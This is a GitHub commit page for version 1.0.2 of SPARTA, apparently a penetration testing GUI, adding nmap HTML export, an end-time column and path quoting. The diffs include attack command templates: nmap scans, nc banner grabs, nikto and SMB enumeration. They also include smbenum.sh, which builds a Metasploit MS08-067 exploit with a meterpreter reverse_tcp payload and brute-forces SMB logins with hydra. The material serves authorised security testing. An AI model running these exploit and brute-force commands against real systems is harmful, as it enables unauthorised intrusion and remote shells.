Skip to content

Commit

Permalink
Sparta 1.0.2. See changelog.
Browse files Browse the repository at this point in the history
  • Loading branch information
st3r30byt3 committed Mar 31, 2015
1 parent e7bdf7b commit 7390e80
Show file tree
Hide file tree
Showing 12 changed files with 101 additions and 88 deletions.
11 changes: 10 additions & 1 deletion CHANGELOG.txt
Expand Up @@ -7,4 +7,13 @@ SPARTA 1.0.1 (BETA)
* fixed a unicode bug (thanks Dmitry Boomov)
* fixed another unicode bug in the tool output
* fixed bug in the sort function (thanks ad0nis)
* added content to the help menu
* added content to the help menu

SPARTA 1.0.2 (BETA)
* fixed elixir import issue caused by sqlalchemy Scoped_Session rename
* fixed bug where tool output from automated attacks wasn't being stored correctly (thx jljansen)
* edited smbenum.sh to allow choosing of a network interface (thx adamziaja)
* added exception handling for missing .qss file (thx AlexJuca)
* imported nmap XML files are now saved to tool output folder (thx mcjon3z)
* nmap output is now also stored in HTML (thx mcjon3z)
* added an "end time" column to the process table (thx ad0nis)
4 changes: 2 additions & 2 deletions README.md
@@ -1,4 +1,4 @@
SPARTA v1.0.1 BETA (http://sparta.secforce.com)
SPARTA v1.0.2 BETA (http://sparta.secforce.com)
==

Authors:
Expand Down Expand Up @@ -28,7 +28,7 @@ Kali (preferred):

Ubuntu 12.04+ (untested)

apt-get install python-elixir python-qt4
apt-get install python-elixir python-qt4 xsltproc

Other than these, the following tools are required for SPARTA to have its minimum functionality:
- nmap (for adding hosts)
Expand Down
11 changes: 10 additions & 1 deletion app/auxiliary.py
Expand Up @@ -2,7 +2,7 @@

'''
SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com)
Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis)
Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis)
This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
Expand Down Expand Up @@ -137,6 +137,15 @@ def checkHydraResults(output):
return True, usernames, passwords # returns the lists of found usernames and passwords
return False, [], []

def exportNmapToHTML(filename):
try:
command = 'xsltproc -o ' + str(filename)+'.html ' + str(filename)+ '.xml'
p = subprocess.Popen(command, shell=True)
p.wait()

except:
print '[-] Could not convert nmap XML to HTML. Try: apt-get install xsltproc'

# this class is used for example to store found usernames/passwords
class Wordlist():
def __init__(self, filename): # needs full path
Expand Down
39 changes: 23 additions & 16 deletions app/logic.py
Expand Up @@ -2,7 +2,7 @@

'''
SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com)
Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis)
Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis)
This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
Expand Down Expand Up @@ -75,9 +75,7 @@ def setStoreWordlistsOnExit(self, flag=True):
self.storeWordlists = flag

# this function moves the specified tool output file from the temporary 'running' folder to the 'tool output' folder
# TODO: move tool output into right tool folder
def moveToolOutput(self, outputFilename):
#
try:
# first create the tool folder if it doesn't already exist
tool = ntpath.basename(ntpath.dirname(str(outputFilename)))
Expand All @@ -90,6 +88,12 @@ def moveToolOutput(self, outputFilename):
shutil.move(str(outputFilename), str(path))
# move all the nmap files (not only the .xml)
elif os.path.exists(str(outputFilename)+'.xml') and os.path.exists(str(outputFilename)+'.nmap') and os.path.exists(str(outputFilename)+'.gnmap') and os.path.isfile(str(outputFilename)+'.xml') and os.path.isfile(str(outputFilename)+'.nmap') and os.path.isfile(str(outputFilename)+'.gnmap'):
try:
exportNmapToHTML(str(outputFilename))
shutil.move(str(outputFilename)+'.html', str(path))
except:
pass

shutil.move(str(outputFilename)+'.xml', str(path))
shutil.move(str(outputFilename)+'.nmap', str(path))
shutil.move(str(outputFilename)+'.gnmap', str(path))
Expand All @@ -101,6 +105,18 @@ def moveToolOutput(self, outputFilename):
print '[-] Something went wrong moving the tool output file..'
print "[-] Unexpected error:", sys.exc_info()[0]

def copyNmapXMLToOutputFolder(self, file):
try:
path = self.outputfolder+"/nmap"
filename = ntpath.basename(str(file))
if not os.path.exists(str(path)):
os.makedirs(str(path))

shutil.copy(str(file), str(path)) # will overwrite if file already exists
except:
print '[-] Something went wrong copying the imported XML to the project folder.'
print "[-] Unexpected error:", sys.exc_info()[0]

def openExistingProject(self, filename):
try:
print '[+] Opening project..'
Expand Down Expand Up @@ -333,23 +349,12 @@ def getHostsAndPortsForServiceFromDB(self, serviceName, filters):

return metadata.bind.execute(tmp_query, str(serviceName)).fetchall()


# this function returns all the processes from the DB
# the showProcesses flag is used to ensure we don't display processes in the process table after we have cleared them or when an existing project is opened.
def getProcessesFromDB_old(self, filters, showProcesses=''):
if showProcesses == '':
tmp_query = ('SELECT process.* FROM db_tables_process AS process group by name')
return metadata.bind.execute(tmp_query).fetchall()
else:
tmp_query = ('SELECT * FROM db_tables_process AS process WHERE process.display=? order by id desc')
return metadata.bind.execute(tmp_query, str(showProcesses)).fetchall()

# this function returns all the processes from the DB
# the showProcesses flag is used to ensure we don't display processes in the process table after we have cleared them or when an existing project is opened.
# to speed up the queries we replace the columns we don't need by zeros (the reason we need all the columns is we are using the same model to display process information everywhere)
def getProcessesFromDB(self, filters, showProcesses=''):
if showProcesses == '': # we do not fetch nmap processes because these are not displayed in the host tool tabs / tools
tmp_query = ('SELECT "0", "0", "0", process.name, "0", "0", "0", "0", "0", "0", "0", "0", "0", "0" FROM db_tables_process AS process WHERE process.closed="False" AND process.name!="nmap" group by process.name')
tmp_query = ('SELECT "0", "0", "0", process.name, "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0" FROM db_tables_process AS process WHERE process.closed="False" AND process.name!="nmap" group by process.name')
result = metadata.bind.execute(tmp_query).fetchall()

elif showProcesses == False: # when opening a project, fetch only the processes that have display=false and were not in tabs that were closed by the user
Expand All @@ -361,7 +366,7 @@ def getProcessesFromDB(self, filters, showProcesses=''):
else: # show all the processes in the (bottom) process table (no matter their closed value)
tmp_query = ('SELECT * FROM db_tables_process AS process WHERE process.display=? order by id desc')
result = metadata.bind.execute(tmp_query, str(showProcesses)).fetchall()

return result

def getHostsForTool(self, toolname, closed='False'):
Expand Down Expand Up @@ -465,6 +470,8 @@ def storeProcessOutputInDB(self, procId, output):
if proc_output:
proc_output.output=unicode(output)

proc.endtime = getTimestamp(True) # store end time

if proc.status == "Killed" or proc.status == "Cancelled" or proc.status == "Crashed": # if the process has been killed don't change the status to "Finished"
self.db.commit() # new: this was missing but maybe this is important here to ensure that we save the process output no matter what
return True
Expand Down
50 changes: 12 additions & 38 deletions app/processmodels.py
Expand Up @@ -2,7 +2,7 @@

'''
SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com)
Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis)
Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis)
This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
Expand Down Expand Up @@ -78,14 +78,16 @@ def data(self, index, role): # this method takes care of how the inform
elif column == 9:
value = self.__processes[row]['starttime']
elif column == 10:
value = self.__processes[row]['outputfile']
value = self.__processes[row]['endtime']
elif column == 11:
value = self.__processes[row]['outputfile']
elif column == 12:
value = self.__processes[row]['output']
elif column == 12:
value = self.__processes[row]['status']
elif column == 13:
value = self.__processes[row]['status']
elif column == 14:
value = self.__processes[row]['closed']
return value
return value

def sort(self, Ncol, order):
self.emit(SIGNAL("layoutAboutToBeChanged()"))
Expand All @@ -112,7 +114,11 @@ def sort(self, Ncol, order):

elif Ncol == 9:
for i in range(len(self.__processes)):
array.append(self.__processes[i]['starttime'])
array.append(self.__processes[i]['starttime'])

elif Ncol == 10:
for i in range(len(self.__processes)):
array.append(self.__processes[i]['endtime'])

else:
for i in range(len(self.__processes)):
Expand All @@ -127,38 +133,6 @@ def sort(self, Ncol, order):

self.emit(SIGNAL("layoutChanged()"))

def sort_old(self, Ncol, order):
self.emit(SIGNAL("layoutAboutToBeChanged()"))
array=[]

if Ncol == 4:
for i in range(len(self.__processes)):
array.append(self.__processes[i]['tabtitle'])

if Ncol == 5:
for i in range(len(self.__processes)):
array.append(IP2Int(self.__processes[i]['hostip']))

if Ncol == 6:
for i in range(len(self.__processes)):
if self.__processes[i]['port'] == '':
return
else:
array.append(int(self.__processes[i]['port']))

if Ncol == 9:
for i in range(len(self.__processes)):
array.append(self.__processes[i]['status'])

sortArrayWithArray(array, self.__processes) # sort the services based on the values in the array

if order == Qt.AscendingOrder: # reverse if needed
self.__processes.reverse()

self.__controller.updateProcessesIcon() # to make sure the progress GIF is displayed in the right place

self.emit(SIGNAL("layoutChanged()"))

def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc
return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable

Expand Down
14 changes: 7 additions & 7 deletions app/settings.py
Expand Up @@ -75,21 +75,21 @@ def createDefaultSettings(self):
self.actions.endGroup()

self.actions.beginGroup('HostActions')
self.actions.setValue("nmap-fast-tcp", ["Run nmap (fast TCP)", "nmap -Pn -F -T4 -vvvv [IP] -oA [OUTPUT]"])
self.actions.setValue("nmap-full-tcp", ["Run nmap (full TCP)", "nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA [OUTPUT]"])
self.actions.setValue("nmap-fast-udp", ["Run nmap (fast UDP)", "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA [OUTPUT]"])
self.actions.setValue("nmap-udp-1000", ["Run nmap (top 1000 quick UDP)", "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA [OUTPUT]"])
self.actions.setValue("nmap-full-udp", ["Run nmap (full UDP)", "nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA [OUTPUT]"])
self.actions.setValue("nmap-fast-tcp", ["Run nmap (fast TCP)", "nmap -Pn -F -T4 -vvvv [IP] -oA \"[OUTPUT]\""])
self.actions.setValue("nmap-full-tcp", ["Run nmap (full TCP)", "nmap -Pn -sV -sC -O -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\""])
self.actions.setValue("nmap-fast-udp", ["Run nmap (fast UDP)", "nmap -n -Pn -sU -F --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\""])
self.actions.setValue("nmap-udp-1000", ["Run nmap (top 1000 quick UDP)", "nmap -n -Pn -sU --min-rate=1000 -vvvvv [IP] -oA \"[OUTPUT]\""])
self.actions.setValue("nmap-full-udp", ["Run nmap (full UDP)", "nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\""])
self.actions.setValue("unicornscan-full-udp", ["Run unicornscan (full UDP)", "unicornscan -mU -Ir 1000 [IP]:a -v"])
self.actions.endGroup()

self.actions.beginGroup('PortActions')
self.actions.setValue("banner", ["Grab banner", "bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\"", ""])
self.actions.setValue("nmap", ["Run nmap (scripts) on port", "nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT]", ""])
self.actions.setValue("nikto", ["Run nikto", "nikto -o [OUTPUT].txt -p [PORT] -h [IP]", "http,https,ssl,soap,http-proxy,http-alt"])
self.actions.setValue("nikto", ["Run nikto", "nikto -o \"[OUTPUT].txt\" -p [PORT] -h [IP]", "http,https,ssl,soap,http-proxy,http-alt"])
self.actions.setValue("dirbuster", ["Launch dirbuster", "java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/", "http,https,ssl,soap,http-proxy,http-alt"])
self.actions.setValue("webslayer", ["Launch webslayer", "webslayer", "http,https,ssl,soap,http-proxy,http-alt"])
self.actions.setValue("whatweb", ["Run whatweb", "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt"])
self.actions.setValue("whatweb", ["Run whatweb", "whatweb [IP]:[PORT] --color=never --log-brief=\"[OUTPUT].txt\"", "http,https,ssl,soap,http-proxy,http-alt"])

### SMB
self.actions.setValue("samrdump", ["Run samrdump", "python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB", "netbios-ssn,microsoft-ds"])
Expand Down
10 changes: 6 additions & 4 deletions controller/controller.py
Expand Up @@ -2,7 +2,7 @@

'''
SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com)
Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis)
Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis)
This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
Expand All @@ -22,7 +22,7 @@ class Controller():

# initialisations that will happen once - when the program is launched
def __init__(self, view, logic):
self.version = 'SPARTA 1.0.1 (BETA)' # update this everytime you commit!
self.version = 'SPARTA 1.0.2 (BETA)' # update this everytime you commit!
self.logic = logic
self.view = view
self.view.setController(self)
Expand Down Expand Up @@ -119,6 +119,9 @@ def getPasslistPath(self):
def updateOutputFolder(self):
self.screenshooter.updateOutputFolder(self.logic.outputfolder+'/screenshots') # update screenshot folder

def copyNmapXMLToOutputFolder(self, filename):
self.logic.copyNmapXMLToOutputFolder(filename)

def isTempProject(self):
return self.logic.istemp

Expand Down Expand Up @@ -640,7 +643,6 @@ def runToolsFor(self, service, ip, port, protocol='tcp'):

for tool in self.settings.automatedAttacks:
if service in tool[1].split(",") and protocol==tool[2]:
#print '\tFound tool: ' + tool[0]
if tool[0] == "screenshooter":
url = ip+':'+port
self.screenshooter.addToQueue(url)
Expand All @@ -651,7 +653,7 @@ def runToolsFor(self, service, ip, port, protocol='tcp'):
if tool[0] == a[1]:
restoring = False
tabtitle = a[1]+" ("+port+"/"+protocol+")"
outputfile = self.logic.runningfolder+"/"+getTimestamp()+'-'+a[1]+"-"+ip+"-"+port
outputfile = self.logic.runningfolder+"/"+re.sub("[^0-9a-zA-Z]", "", str(tool[0]))+"/"+getTimestamp()+'-'+a[1]+"-"+ip+"-"+port
command = str(a[2])
command = command.replace('[IP]', ip).replace('[PORT]', port).replace('[OUTPUT]', outputfile)

Expand Down
9 changes: 5 additions & 4 deletions db/tables.py
Expand Up @@ -2,7 +2,7 @@

'''
SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com)
Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis)
Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis)
This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
Expand Down Expand Up @@ -146,7 +146,8 @@ class process(Entity):
port=Field(String)
protocol=Field(String)
command=Field(String)
starttime=Field(String)
starttime=Field(String)
endtime=Field(String)
outputfile=Field(String)
output=OneToOne('process_output', inverse='process')
status=Field(String)
Expand All @@ -161,13 +162,13 @@ def __init__(self, pid, name, tabtitle, hostip, port, protocol, command, startti
self.port=port
self.protocol=protocol
self.command=command
self.starttime=starttime
self.starttime=starttime
self.endtime=''
self.outputfile=outputfile
self.output=processOutputId
self.status=status
self.closed='False'

### new: now storing process output in a different table to speed up things
class process_output(Entity):
output=Field(Unicode)
process=ManyToOne('process')
Expand Down
7 changes: 4 additions & 3 deletions scripts/smbenum.sh
@@ -1,8 +1,10 @@
#!/bin/bash
# smbcheck- This script will enumerate SMB using every tool in the arsenal
# smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal
# SECFORCE - Antonio Quina
# All credits to Bernardo Damele A. G. <bernardo.damele@gmail.com> for the ms08-067_check.py script

IFACE="eth0"

if [ $# -eq 0 ]
then
echo "Usage: $0 <IP>"
Expand Down Expand Up @@ -55,7 +57,7 @@ echo $vulnerable
if [[ $vulnerable == *"VULNERABLE"* ]]
then
echo "Oh yeah! The target is vulnerable!"
MYIP=$(ifconfig | grep -Po '.*inet addr:\K[0-9.]*' | head -n1)
MYIP=$(ifconfig $IFACE | awk -F'[: ]+' '/inet addr:/ {print $4}')
echo "use exploits/windows/smb/ms08_067_netapi" > /tmp/$IP-netapi.rc
echo "set payload windows/meterpreter/reverse_tcp" >> /tmp/$IP-netapi.rc
echo "set RHOST $IP" >> /tmp/$IP-netapi.rc
Expand All @@ -69,7 +71,6 @@ if [[ $vulnerable == *"VULNERABLE"* ]]
else
echo "The target is NOT vulnerable!"
echo -e "\n########## Bruteforcing all users with 'password', blank and username as password"
#hydra -e ns -L /tmp/$IP-users.txt -p password -V $IP smb -t 1
hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1
rm /tmp/$IP-users.txt

Expand Down

0 comments on commit 7390e80

Please sign in to comment.